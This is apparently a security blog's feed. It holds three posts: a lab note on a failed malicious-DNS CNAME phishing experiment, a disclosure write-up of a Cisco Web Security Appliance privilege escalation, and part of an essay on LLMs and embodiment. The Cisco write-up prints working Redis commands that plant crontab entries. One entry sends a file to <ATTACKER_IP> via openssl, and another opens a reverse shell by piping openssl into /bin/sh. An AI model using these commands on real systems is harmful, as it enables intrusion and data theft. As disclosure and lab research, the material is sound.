<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://lorenzog.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://lorenzog.github.io/" rel="alternate" type="text/html" /><updated>2026-08-24T23:31:13+00:00</updated><id>https://lorenzog.github.io/feed.xml</id><title type="html">lg’s blog</title><subtitle>musings on infosec and tech</subtitle><author><name>Lorenzo</name></author><entry><title type="html">A Malicious DNS Server in a Public Wi-FI</title><link href="https://lorenzog.github.io/2026/08/24/DNS_CNAME.html" rel="alternate" type="text/html" title="A Malicious DNS Server in a Public Wi-FI" /><published>2026-08-24T00:00:00+00:00</published><updated>2026-08-24T00:00:00+00:00</updated><id>https://lorenzog.github.io/2026/08/24/DNS_CNAME</id><content type="html" xml:base="https://lorenzog.github.io/2026/08/24/DNS_CNAME.html"><![CDATA[<p>This is not novel research, in fact it’s a failed experiment, but I’ll use it to share my notes and set-up.</p>

<p>While on a job, I was asking myself:</p>

<blockquote>
  <p>What can an attacker do in 2026 if they control a public Wi-Fi, including DNS?</p>
</blockquote>

<p>In particular - what happens if a user requests <code class="language-plaintext highlighter-rouge">exmample.com</code> and the attacker-controlled DNS returns a CNAME for <code class="language-plaintext highlighter-rouge">malicious.com</code>, where the attacker can serve a valid SSL certificate with a phishing page?</p>

<p>The answer is - the browser will block it and show an ‘invalid certificate’. The same happens with <code class="language-plaintext highlighter-rouge">curl</code>. Nothing to see here, but I enjoyed a quiet evening tinkering with OpenBSD, firewalling, Caddy and Nginx, and learned a couple of things along the way.</p>

<h1 id="the-setup">The Setup</h1>

<ul>
  <li>A Windows 11 vanilla VM, in an ‘isolated’ network</li>
  <li>An OpenBSD gateway acting as DHCP and DNS server</li>
  <li>A VPS in the cloud</li>
</ul>

<h1 id="openbsd">OpenBSD</h1>
<p>Why OpenBSD? Because it’s incredibly clean, doesn’t mess up with networking (hello, <code class="language-plaintext highlighter-rouge">NetworkManager</code>, why do you never work as I want you to), and doesn’t require learning another firewalling paradigm and syntax every few years (hello, <code class="language-plaintext highlighter-rouge">ipchains</code>/<code class="language-plaintext highlighter-rouge">iptables</code>/<code class="language-plaintext highlighter-rouge">netfilter</code>).</p>

<h2 id="dhcp-server">DHCP server</h2>
<p>OpenBSD was running <code class="language-plaintext highlighter-rouge">udhcpd</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># vio1: isolated
subnet 10.13.37.0 netmask 255.255.255.0 {
	option domain-name-servers 10.13.37.4;
	option routers 10.13.37.4;
	range 10.13.37.100 10.13.37.200;
	# option classless-static-routes 10.128.127.0/24 10.13.37.4;
}

host win11 {
             hardware ethernet 52:54:00:xx:yy:zz;
             fixed-address 10.13.37.101;
           }
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; [!IMPORTANT]
&gt; Where I've lost some time: the option `classless-static-routes`, if enabled,
&gt; tells Windows clients to **ignore** the "routers". So while my VM was getting
&gt; an IP address, it wasn't getting a default gateway. 
</code></pre></div></div>

<h2 id="dns-server">DNS server</h2>
<p>For DNS I used <code class="language-plaintext highlighter-rouge">unbound</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; [!IMPORTANT]
&gt; Take note that in OpenBSD, the config file is in `/var/unbound/etc/unbound.conf`
&gt; and not `/etc/unbound.conf` because of chrooting. Another time sink..
</code></pre></div></div>

<p>The configuration file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># $OpenBSD: unbound.conf,v 1.21 2020/10/28 11:35:58 sthen Exp $

server:
	interface: 127.0.0.1
	#interface: 127.0.0.1@5353	# listen on alternative port
	interface: vio1
	interface: ::1

	access-control: 0.0.0.0/0 refuse
	access-control: 127.0.0.0/8 allow
	access-control: 10.13.37.0/24 allow
	access-control: ::0/0 refuse
	access-control: ::1 allow

	hide-identity: yes
	hide-version: yes

	# Perform DNSSEC validation.
	#
	auto-trust-anchor-file: "/var/unbound/db/root.key"
	val-log-level: 2

	# Synthesize NXDOMAINs from DNSSEC NSEC chains.
	# https://tools.ietf.org/html/rfc8198
	#
	aggressive-nsec: yes

	local-zone: "example.com." redirect
	local-data: "example.com. IN CNAME mal.attacker.com."

forward-zone:
    name: "."                     # The dot matches all internet queries
    forward-addr: 8.8.8.8         # Google Primary DNS
    forward-addr: 8.8.4.4         # Google Secondary DNS (Optional backup)
</code></pre></div></div>

<p>Things to note:</p>
<ul>
  <li>The <code class="language-plaintext highlighter-rouge">access-control</code> is important to answer queries coming from my isolated LAN (<code class="language-plaintext highlighter-rouge">10.13.37.0/24</code>)</li>
  <li>The <code class="language-plaintext highlighter-rouge">local-zone</code> directive returns <code class="language-plaintext highlighter-rouge">mal.attacker.com</code> (the attacker’s domain) in lieu of <code class="language-plaintext highlighter-rouge">example.com</code></li>
  <li>The <code class="language-plaintext highlighter-rouge">forward-zone</code> forwards the rest of the queries to Google</li>
</ul>

<h2 id="packet-filter-firewall">Packet Filter (firewall)</h2>

<p>I’m truly in love with OpenBSD’s <code class="language-plaintext highlighter-rouge">pf</code> and its syntax:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#	$OpenBSD: pf.conf,v 1.55 2017/12/03 20:40:04 sthen Exp $
#
# See pf.conf(5) and /etc/examples/pf.conf

set skip on lo

block return	# block stateless traffic
pass		# establish keep-state

# probably not necessary
pass in quick on lo proto udp from any to any port 53
pass in quick on vio1 proto udp from any to any port 53

# vio1 isolated network
pass in quick on vio1 proto udp from 10.13.37.101 to any port domain keep state
pass out quick on vio0 from 10.13.37.101 to any nat-to (vio0)
</code></pre></div></div>

<p>I’m not 100% sure all lines are required - that was the result of some tinkering, but it worked.</p>

<h1 id="malicious-http-server">Malicious HTTP server</h1>

<p>I configured my domain <code class="language-plaintext highlighter-rouge">attacker.com</code> (not the real one) to answer <code class="language-plaintext highlighter-rouge">mal.attacker.com</code> with the IP address of my VPS in the cloud.</p>

<h2 id="http-server-caddy">HTTP server: Caddy</h2>

<p>Caddy will automatically acquire an SSL certificate.</p>

<p>As it turns out, Caddy refuses to serve requests with an invalid or unexpected SNI. This turned out to be a problem - the client would request a certificate for <code class="language-plaintext highlighter-rouge">example.com</code>, not <code class="language-plaintext highlighter-rouge">mal.attacker.com</code> as I was expecting.  I needed my server to return any SSL request with the certificate for the malicious site.</p>

<p>So I had to modify the <code class="language-plaintext highlighter-rouge">Caddyfile</code> to serve a default SNI, but still it wasn’t working properly, got frustrated, and I tried <code class="language-plaintext highlighter-rouge">nginx</code> (see below). I’m putting the Caddy config here for posterity:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># file /etc/caddy/Caddyfile
{
        # If the client provides NO SNI (e.g. direct IP connection)
        default_sni mal.attacker.com
    # Adjusts settings for all HTTP/HTTPS servers Caddy spawns
    servers {
        # If the client provides an UNMATCHED/INVALID SNI string
        fallback_sni mal.attacker.com
    }
}

:80 {
	# Set this path to your site's directory.
	root * /usr/share/caddy

	# Enable the static file server.
	file_server
}


mal.attacker.com:443 {

	root * /usr/share/caddy
    file_server
    encode zstd gzip
    log {
        output file /var/log/caddy/access.log
    }
}

:443 {
	# tls {
	# }
	respond "Hello! You connected using an unmatched or missing SNI string."
}

</code></pre></div></div>

<p>This is what happens with a default Caddy configuration:</p>

<p><img src="/attachments/2026-08-24-DNS_CNAME/caddy_serving_site.png" alt="Viewing the site served by Caddy" /></p>

<p>The SSL error is <code class="language-plaintext highlighter-rouge">SSL_PROTOCOL_ERROR</code>. Notice how the user is requesting <code class="language-plaintext highlighter-rouge">example.com</code> even after the DNS server (unbound) returned a CNAME for <code class="language-plaintext highlighter-rouge">mal.attacker.com</code>.</p>

<h2 id="nginx">Nginx</h2>
<p>Since Caddy was getting on my nerves, I figured I’d try <code class="language-plaintext highlighter-rouge">nginx</code>.</p>

<p>On my VPS, I’ve acquired a certificate for <code class="language-plaintext highlighter-rouge">mal.attacker.com</code> with <code class="language-plaintext highlighter-rouge">certbot</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certbot certonly -d mal.attacker.com`
</code></pre></div></div>

<p>Then the nginx config file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># file /etc/nginx/sites-enabled/example.conf

# =========================================================================
# 1. THE DEFAULT FALLBACK BLOCK
# Catches raw IPs, missing SNIs, and unconfigured/mismatched domains.
# =========================================================================
server {
    # The 'default_server' flag tells Nginx to route all unmatched HTTPS here
    listen 443 ssl default_server;
    listen [::]:443 ssl default_server;

    server_name _; # A catch-all wild card hostname

    # You MUST provide a certificate here for the TLS handshake to succeed.
    # Nginx will present this fallback cert to the unrecognized client.
    ssl_certificate     /etc/letsencrypt/live/mal.attacker.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/mal.attacker.com/privkey.pem;

    # Secure TLS configurations
    ssl_protocols       TLSv1.2 TLSv1.3;
    ssl_ciphers         HIGH:!aNULL:!MD5;

    # Decide what to do with mismatched/unwanted connections:
    # Option A: Close the connection immediately without a response (Highly recommended for security)
    # return 444; 

    # Option B: Alternatively, uncomment below to serve a generic error page instead
    location / {
        return 403 "Forbidden: Invalid or mismatched SNI hostname.";
    }
}

# =========================================================================
# 2. YOUR LEGITIMATE SITE BLOCK
# Catches explicit, matched domain requests.
# =========================================================================
server {
    listen 443 ssl;
    listen [::]:443 ssl;

    # Nginx routes traffic here ONLY if the client's SNI exactly matches this domain
    server_name mal.attacker.com ://mal.attacker.com;

   ssl_certificate     /etc/letsencrypt/live/mal.attacker.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/mal.attacker.com/privkey.pem;

    location / {
        root /var/www/html;
        index index.html;
    }
}
</code></pre></div></div>

<p>No joy! The browser’s SSL libraries noticed and raised a different error (<code class="language-plaintext highlighter-rouge">ERR_CERT_COMMON_NAME_INVALID</code>):</p>

<p><img src="/attachments/2026-08-24-DNS_CNAME/nginx_serving_file.png" alt="Viewing the site served by Nginx" /></p>

<p>For the record, <code class="language-plaintext highlighter-rouge">curl</code> also returned the same result.</p>
<h1 id="conclusions">Conclusions</h1>

<p>Seems like even controlling a malicious DNS server would prevent an attacker from doing too much damage. It makes sense in retrospect - for a successful attack, a HTTP redirect should take place first, from the legitimate site (example.com).</p>

<p>I do wonder if there’s obscure DNS settings, or other browsers, that would fall for this. But I suspect not. Either way, it was a good chance to dust off my home lab and play with a serious UNIX (OpenBSD).</p>]]></content><author><name>Lorenzo</name></author><category term="hacking" /><category term="networking" /><summary type="html"><![CDATA[Playing with CNAME]]></summary></entry><entry><title type="html">Cisco WSA Rce (CVE-2024-20435)</title><link href="https://lorenzog.github.io/2025/04/10/cisco_wsa_rce.html" rel="alternate" type="text/html" title="Cisco WSA Rce (CVE-2024-20435)" /><published>2025-04-10T00:00:00+00:00</published><updated>2025-04-10T00:00:00+00:00</updated><id>https://lorenzog.github.io/2025/04/10/cisco_wsa_rce</id><content type="html" xml:base="https://lorenzog.github.io/2025/04/10/cisco_wsa_rce.html"><![CDATA[<p>In this writeup I’d like to share one of the few bugs I’m allowed to
talk about, a local privilege escalation in Cisco Web Security
Appliance. While not a spectacular code execution, I found it intriguing
because it mixed different technologies (telnet, Redis and FreeBSD!).</p>

<p>TL;DR A local, low-privileged user on a Cisco WSA can execute arbitrary code through an
unprotected Redis interface and some Telnet shenaningans.</p>

<p>Cisco published the advisory <a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-swa-priv-esc-7uHpZsCC">here</a>.</p>

<h2 id="pre-requisites">Pre-requisites</h2>

<ul>
  <li>A local user on the appliance - note that even if the user is meant
to have only web access, it will by default have a limited SSH shell
too</li>
  <li>The ability to resolve arbitrary domain names</li>
  <li>A host to connect back to (listening on IP address <code class="language-plaintext highlighter-rouge">&lt;ATTACKER_IP&gt;</code>)</li>
</ul>

<h2 id="intro">Intro</h2>

<p>As a first step, we log on the appliance and execute a telnet session.
Before connecting, launch a netcat listener on <code class="language-plaintext highlighter-rouge">&lt;ATTACKER_IP&gt;</code> on port
12345.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh lowpriv@cisco-wsa
<span class="o">(</span>lowpriv@cisco-wsa<span class="o">)</span> Password:
AsyncOS 15.1.0 <span class="k">for </span>Web build 287

Welcome to the Cisco S695 Secure Web Appliance
~
NOTE: This session will expire <span class="k">if </span>left idle <span class="k">for </span>30 minutes. Any uncommitted configuration
changes will be lost.

<span class="o">[</span>...]

cisco-wsa&gt; telnet

Please <span class="k">select </span>which interface you want to telnet from.
1. Auto
<span class="o">[</span>1]&gt; 1

Enter the remote <span class="nb">hostname </span>or IP address.
<span class="o">[]&gt;</span> &lt;ATTACKER_IP&gt;

Enter the remote port.
<span class="o">[</span>23]&gt; 12345

Trying &lt;ATTACKER_IP&gt;...
Connected to &lt;ATTACKER_IP&gt;.
Escape character is <span class="s1">'^]'</span><span class="nb">.</span>
</code></pre></div></div>

<p>Once connected, the UNIX telnet client interprets the escape sequence
“<code class="language-plaintext highlighter-rouge">^]</code>” (<code class="language-plaintext highlighter-rouge">Ctrl-]</code>) to run a command mode, allowing the user to
reconfigure the current session without interrupting the connection. You
can see the command mode prompt <code class="language-plaintext highlighter-rouge">telnet&gt; </code> below. One
of the options allows displaying the shell environment by typing
“environ list”, as shown in the following listing:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^]
telnet&gt; environ list
  SERIAL_NUMBER        <span class="o">[</span>...]
  BASE_HOME            /data/home
  PYTHON_EGG_CACHE     /data/python-eggs
  TRANSLATION_QUEUE    /data/etc/translations
  MALLOC_OPTIONS       X
  PRODUCT_NAME         Cisco S695 Secure Web Appliance
  TMPDIR               /data/tmp
  SHELL                /data/bin/cli.sh
  PYCBOX_DB            /data/lib/pycbox/ironport.db
<span class="o">[</span>...]
  HOME                 /data/home/lowpriv
<span class="k">*</span> USER                 lowpriv
  MODEL_NAME           S695
  RELEASE_TAG          coeus-15-1-0-287
  PATH                 /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/data/home/lowpriv/bin:/usr/local/bin:/data/bin
</code></pre></div></div>

<p>The highlighted text shows useful information such as the search PATH, home directory, etc.</p>

<p>The appliance was found to be running a Redis server, shown here as the output of the shell command “process_status”:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>...]
root          30511    0.0  0.0   18376    6792  -  S    15:26         0:00.00 ipmitool
root          30524    0.0  0.0   12296    3856  -  S    23Jan24       3:11.91 redis-server
root          31342    0.0  0.1 4488448   88844  -  I    16:30         0:07.15 amp
</code></pre></div></div>

<p>The “process_status” command must be executed by a user with higher privileges; however, this information might be also available online to an attacker, and the need for a high-privileged user was not deemed essential for the success of the attack.</p>

<p>Redis server normally listen on port 6379; however, the telnet client was set up to prevent connecting to local IP addresses, as shown below:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cisco-wsa&gt; <span class="nb">whoami

</span>Username: lowpriv
Full Name: <span class="o">[</span>...]
Groups: guest

cisco-wsa&gt; telnet 127.0.0.1 6379

Invalid arguments when processing telnet:
The address must be a <span class="nb">hostname </span>or an IPv4/IPv6 address.
The IP address must be a valid IPv4 or a IPv6
address. IPV4 must be 4 numbers separated by a period.  Each number must be a
value from 0 to 255. <span class="o">(</span>Ex: 192.168.1.1<span class="o">)</span><span class="nb">.</span> A Valid IPv6 address is represented by
8 <span class="nb">groups </span>of 16-bit hexadecimal values separated by colons <span class="o">(</span>:<span class="o">)</span><span class="nb">.</span> <span class="o">(</span>Ex:
2001:420:80:1::5<span class="o">)</span>
The IP address cannot be empty and cannot be a loopback, link-local, broadcast or multicast address.
A <span class="nb">hostname </span>is a string that must match the following rules:

- A label is a <span class="nb">set </span>of characters, numbers, dashes, and underscores.
- The first and last character of a label must be a letter or a number.
- The <span class="nb">hostname </span>must have at least 2 labels separated by a period.
- The last label cannot be all numbers.
: <span class="s1">'127.0.0.1'</span>
</code></pre></div></div>

<p>To bypass the restriction, I used a domain that points to “127.0.0.1”,
for example <code class="language-plaintext highlighter-rouge">localtest.me</code> (see
<a href="https://superuser.com/q/1280827">here</a>).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cisco-wsa&gt; nslookup localtest.me

<span class="nv">A</span><span class="o">=</span>127.0.0.1 <span class="nv">TTL</span><span class="o">=</span>30m
cisco-wsa&gt; telnet localtest.me 6379

Trying 127.0.0.1...
Connected to localtest.me.
Escape character is <span class="s1">'^]'</span><span class="nb">.</span>
info
<span class="nv">$3291</span>
<span class="c"># Server</span>
redis_version:5.0.5
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:c5557b57b79e4dec
redis_mode:standalone
os:FreeBSD 13.0-RELEASE-p13 amd64
</code></pre></div></div>

<p>As the listing demonstrates, it was possible to connect to the local
Redis server by resolving a domain pointing to 127.0.0.1. The “info”
command was issued, which returned the server version and Operating
System.</p>

<h2 id="arbitrary-command-execution">Arbitrary Command Execution</h2>

<p>To reach code execution, I exploited the fact that Redis
by default does not enforce authentication, and allows writing
configuration files to arbitrary location on disk. I’m sorry I can’t
find the original author of this exploit to give credit, and the slides
from zeronights are lost in the interwebz.</p>

<p>It should be noted that FreeBSD stores crontabs in a different location
than Linux. Here we need to write to <code class="language-plaintext highlighter-rouge">/var/cron/tabs</code>, with a filename
matching the local user. In Linux it would normally be
<code class="language-plaintext highlighter-rouge">/var/spool/cron/crontabs</code>. For some reason, it wasn’t possible to run
this as root.</p>

<p>The following commands were issued to the Redis server:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>config <span class="nb">set dir</span> <span class="s2">"/var/cron/tabs"</span>
+OK
config <span class="nb">set </span>dbfilename lowpriv
+OK
<span class="nb">set </span>backup1 <span class="s2">"</span><span class="se">\n\n\n</span><span class="s2">*/2 * * * * ping -c 2 &lt;ATTACKER_IP&gt;</span><span class="se">\n\n</span><span class="s2">"</span>
+OK
save
+OK
</code></pre></div></div>

<p>The first and second command instruct the server to write the configuration in the “/var/cron/tabs/lowpriv” file, which is where FreeBSD systems store “cron” jobs. The third command writes a series of newlines and instructs the cron daemon to send 2 ICMP “ping” packets to a specific host every 2 minutes.
Running a packet capture on the <ATTACKER_IP> host demonstrated code execution:</ATTACKER_IP></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>17:47:59.800270 IP &lt;CISCO_WSA_IP&gt; &gt; &lt;ATTACKER_IP&gt;: ICMP echo request, id 17474, seq 0, length 64
17:47:59.800341 IP &lt;ATTACKER_IP&gt; &gt; &lt;CISCO_WSA_IP&gt;: ICMP echo reply, id 17474, seq 0, length 64
17:48:00.867319 IP &lt;CISCO_WSA_IP&gt; &gt; &lt;ATTACKER_IP&gt;: ICMP echo request, id 17474, seq 1, length 64
17:48:00.867373 IP &lt;ATTACKER_IP&gt; &gt; &lt;CISCO_WSA_IP&gt;: ICMP echo reply, id 17474, seq 1, length 64
</code></pre></div></div>

<p>As the evidence shows, two ICMP “ping” packets were sent from the Cisco WSA to the host, demonstrating code execution.</p>

<h2 id="data-exfiltration">Data Exfiltration</h2>
<p>Through the same mechanism it was possible to demonstrate data exfiltration. A listener was set up on a remote system:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>openssl s_server <span class="nt">-quiet</span> <span class="nt">-key</span> key.pem <span class="nt">-cert</span> cert.pem <span class="nt">-port</span> 443
</code></pre></div></div>
<p>Obviously you need to create a SSL certificate and private key beforehand. Or you can use <code class="language-plaintext highlighter-rouge">ncat</code>.</p>

<p>Then using the Redis configuration method, the appliance was instructed to deliver arbitrary files as shown below, in this case the file <code class="language-plaintext highlighter-rouge">/data/bin/cli.sh</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">set </span>backup3 <span class="s2">"</span><span class="se">\n\n\n</span><span class="s2">*/1 * * * * openssl s_client -quiet -connect &lt;ATTACKER_IP&gt;:443 &lt; /data/bin/cli.sh</span><span class="se">\n\n</span><span class="s2">"</span>
</code></pre></div></div>

<p>After a short while, the file was then received:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">head </span>cli.sh
<span class="c">#!/bin/sh -</span>
<span class="c"># $Header: //prod/coeus-15-1-0-br/wsa/freebsd/bootstrap/generic_wrapper.sh#1 $</span>

<span class="c"># PROVIDE: dtd</span>
<span class="c"># BEFORE: heimdall</span>
<span class="c"># REQUIRE: local</span>

<span class="o">[</span> <span class="nt">-f</span> /etc/phoebe.conf <span class="o">]</span>    <span class="o">&amp;&amp;</span> <span class="nb">.</span> /etc/phoebe.conf
<span class="o">[</span> <span class="nt">-f</span> /etc/asyncos.conf <span class="o">]</span>    <span class="o">&amp;&amp;</span> <span class="nb">.</span> /etc/asyncos.conf
<span class="o">[</span> <span class="s2">"x</span><span class="nv">$IPDATA</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"x"</span> <span class="o">]</span>        <span class="o">&amp;&amp;</span> <span class="nb">export </span><span class="nv">IPDATA</span><span class="o">=</span>/data
</code></pre></div></div>

<h2 id="semi-interactive-shell">Semi-interactive Shell</h2>

<p>Through the same mechanism it was possible to execute arbitrary commands on the
appliance. I think I tried all combinations of netcat, bash pipe
redirections and magic, but none worked as the binaries were not
accessible or redis was jailed (“chrooted”). Using <code class="language-plaintext highlighter-rouge">openssl</code> seemed to
do the trick:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set backup3 "\n\n\n*/1 * * * * openssl s_client -quiet -connect &lt;ATTACKER_IP&gt;:443 | /bin/sh\n\n"
</code></pre></div></div>
<p>The “<code class="language-plaintext highlighter-rouge"> | /bin/sh</code>” part would send every command received through the OpenSSL client to a shell interpreter. A listener was set up and once it received a connection, a “ping” command was executed:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>ncat <span class="nt">-lnvp</span> 443 <span class="nt">--ssl-cert</span> cert.pem <span class="nt">--ssl-key</span> key.pem
Ncat: Version 7.94SVN <span class="o">(</span> https://nmap.org/ncat <span class="o">)</span>
Ncat: Listening on <span class="o">[</span>::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from &lt;CISCO_WSA_IP&gt;:12313.
ping <span class="nt">-c</span> 1 &lt;ATTACKER_IP&gt;
</code></pre></div></div>

<p>Due to the nature of the “blind” shell, the output wasn’t visible, but a ICMP ping packet was received:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>12:45:13.471829 IP &lt;CISCO_WSA_IP&gt; &gt; &lt;ATTACKER_IP&gt;: ICMP echo request, id 11852, seq 0, length 64
12:45:13.471892 IP &lt;ATTACKER_IP&gt; &gt; &lt;CISCO_WSA_IP&gt;: ICMP echo reply, id 11852, seq 0, length 64
</code></pre></div></div>
<p>The ICMP packet confirmed arbitrary command execution.</p>]]></content><author><name>Lorenzo</name></author><category term="hacking" /><category term="exploit" /><category term="rce" /><summary type="html"><![CDATA[Arbitrary Command Execution in Cisco Web Appliance]]></summary></entry><entry><title type="html">Embodiment - or Why LLMs Must Physically Engage With The Real World for The Next Leap</title><link href="https://lorenzog.github.io/2025/02/19/embodiment_why_LLM_must_engage_with_the_real_world.html" rel="alternate" type="text/html" title="Embodiment - or Why LLMs Must Physically Engage With The Real World for The Next Leap" /><published>2025-02-19T00:00:00+00:00</published><updated>2025-02-19T00:00:00+00:00</updated><id>https://lorenzog.github.io/2025/02/19/embodiment_why_LLM_must_engage_with_the_real_world</id><content type="html" xml:base="https://lorenzog.github.io/2025/02/19/embodiment_why_LLM_must_engage_with_the_real_world.html"><![CDATA[<p>One of my first job after uni was in a robotics lab as a software developer. I was funded in part by a research project called “XPERO” that tried to build ‘robots that could learn from experimentation’. The researcher heading the project designed everything top-down, with strict definitions and semantics, boiling it down to a control engineering problem. I wanted to build a bunch of neural networks, connect them to sensors and see how we could create any behaviour based on reinforcement learning. His approach was analytical, having defined the mathematics behind “experience” and relying entirely on human understanding of the problem. Mine was synthetical and very naive (despite the many heated arguments, we’ve become best friends).</p>

<p>Fast forward nearly 20 years later. Last week everything was abuzz about the new Deepseek-R1 LLM and its abilities to produce apparently excellent results. <a href="https://www.vellum.ai/blog/the-training-of-deepseek-r1-and-ways-to-use-it?utm_source=direct&amp;utm_medium=none">Someone</a> (<a href="https://www.reddit.com/r/LLMDevs/comments/1ibhpqw/how_was_deepseekr1_built_for_dummies/">Reddit thread</a>) did a TL;DR of the paper and I was delighted to see how “pure reinforcement learning” was a key feature of this rising star. At this point I can hear many of you going “actually it’s more complex than that….” so let me say it now - I am perfectly aware it’s Not That Simple™. But, stay with me.</p>

<p>This is the story of a couple of ideas that have been living “rent free” in my head since then:</p>

<ol>
  <li>If we want intelligence (and consciousness!) we can’t simulate a “brain” without also taking into account the environment its “body” interacts with.</li>
  <li>The most efficient way to evolve this brain-body-environment triad is to let it do it by itself through trial, error, and reinforcement learning.</li>
</ol>

<p>LLMs just a part of the brain - the one that governs language and, to some extent, memory. It’s time to apply the same engineering effort that gave us ChatGPT to the rest of the body.</p>

<h2 id="nature-inspired-systems">Nature-inspired Systems</h2>

<p>After that brief experience in robotics and somewhat disillusioned by their rigid approach to understanding the world, I went on to study Evolutionary and Adaptive Systems. I think the name was chosen in a bout of British humour to have the acronym “<a href="https://www.sussex.ac.uk/research/centres/ai-research-group/">EASy</a>”, which was everything but. These years changed my view on life in a manner that still resonates.</p>

<blockquote>
  <p>You’re the first human that lands on Mars. You leave the spaceship, look around and see a blob on the ground. You hear a transmission from Earth, the whole planet is holding their breath and anxiously asking “Is there life on Mars?!”. What do you do to test this hypothesis?</p>
</blockquote>

<p>That quote was the first question our <a href="https://en.wikipedia.org/wiki/Inman_Harvey">lecturer</a> asked us, on the very first day. The objective was to make us think how to define life. Does it move? Does it grow? Does it respond to stimuli? Does it follow the 4 “F”s - Flight, Freeze, Fight and …Reproduce? Does it maintain homeostatic equilibrium with the environment? The more you think about it, the harder it gets to pinpoint an exact definition of “life”. Viruses move, but they aren’t considered alive. Rivers move following a gradient. Mountains “grow” over time. So does cancer.</p>

<p>If we can’t all agree on what “life” is, how can we define “intelligence”? If a visitor from the future shows up with a box and says “this is intelligent”, how do you test it?</p>

<p>By studying nature-inspired systems, “artificial life”, and learning how complex behaviour can emerge from simple configurations, I was convinced that evolution and reinforcement learning are the way to reach true artificial intelligence. The power of reinforcement learning is remarkable - it’s a relatively simple concept to explain and can be simulated very easily. And yet it underpins every nervous system.</p>

<p>What do modern-day LLMs have to do with this?</p>

<p>Language models are wonderful at language and language-based reasoning and deduction. They’re amazing, in fact. And while this covers a good chunk of how humans interact,  they can’t engage with the physical world. Without a trial-and-error, evolving approach to real world engagement, they will never be able to escape their limits, no matter how many GPU we throw at them and how many billions of parameters we can add.</p>

<p>In other words, LLMs lack the ability to <strong>interact with and build their own models of the physical world</strong>.</p>

<p>What is an “evolving approach”? To create LLMs, the researchers put basic models to the test against another, slightly different model to see which one would perform better. The winner would be slightly mutated and put to the test again. This process led to LLMs eventually producing coherent text over a large number of iterations and “tournaments”. As this takes place entirely in software, it can be accelerated by adding more GPUs, more hardware, and ultimately more power. However, we can’t speed up interaction with the real world - we’re limited by the laws of motion, the amount of mass, its inertia, the speed of actuators, the resolution of sensors, and by how long it takes to put it back together once it smashed against the wall.</p>

<p>I believe that to evolve true intelligence, we must create something capable of engaging with the real world, and apply the same mechanism that produced LLMs - reinforcement learning, at a scale.</p>

<h2 id="llms-talking-to-a-robot">LLMs talking to a robot</h2>

<p>But, can’t we just<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> plug in a camera and have an LLM direct a robot with language?</p>

<p>Yes and no. You can add a camera and the LLM will tell you what it recognises in the picture. But to have an LLM “guide” a robot, we (humans) still have to program the robot to “understand” the voice commands - turn left, turn right, step ahead, grab the scissors. Herein lies the first problem: when we introduce the human in the loop, we go back to the “Good Old Fashioned AI” days, where we thought we were cleverer than reinforcement learning. There’s this beautiful essay called “<a href="http://www.incompleteideas.net/IncIdeas/BitterLesson.html">The Bitter Lesson</a>” that summarises it very well; the message is that no matter how clever we think we are in our designs, eventually a system left alone to evolve will most likely surpass us. Here’s a quote:</p>

<blockquote>
  <p>We have to learn the bitter lesson that building in how we think we think does not work in the long run. The bitter lesson is based on the historical observations that 1) AI researchers have often tried to build knowledge into their agents, 2) this always helps in the short term, and is personally satisfying to the researcher, but 3) in the long run it plateaus and even inhibits further progress, and 4) breakthrough progress eventually arrives by an opposing approach based on scaling computation by search and learning</p>
</blockquote>

<p>In other words, By introducing humans in the loop, an evolving system will be limited by our ability to describe the problem and simplify it in understandable chunks.</p>

<p>Years ago I was volunteering in schools to teach robotics to children. One of the first “lessons” involved me standing in front of the class, pretending to be a robot, and the kids had to guide me to make a jam sandwich. I would obey their commands literally. For example “Grab the jam” and “Pick up the knife”. But things quickly became complicated and quite hilarious, as I pulled out a large chunk of jam with the knife and dropped half of it on the table, then managed to poke through the bread with the knife, resulting in a jam-kebab and a big mess and lots of laughter. It was funny, and the kids immediately realised they had to be giving me <strong>precise instructions</strong>. Not only that, but they had to think of every possible thing I could do wrong by misinterpreting what they told me. Welcome to robotics, kids.</p>

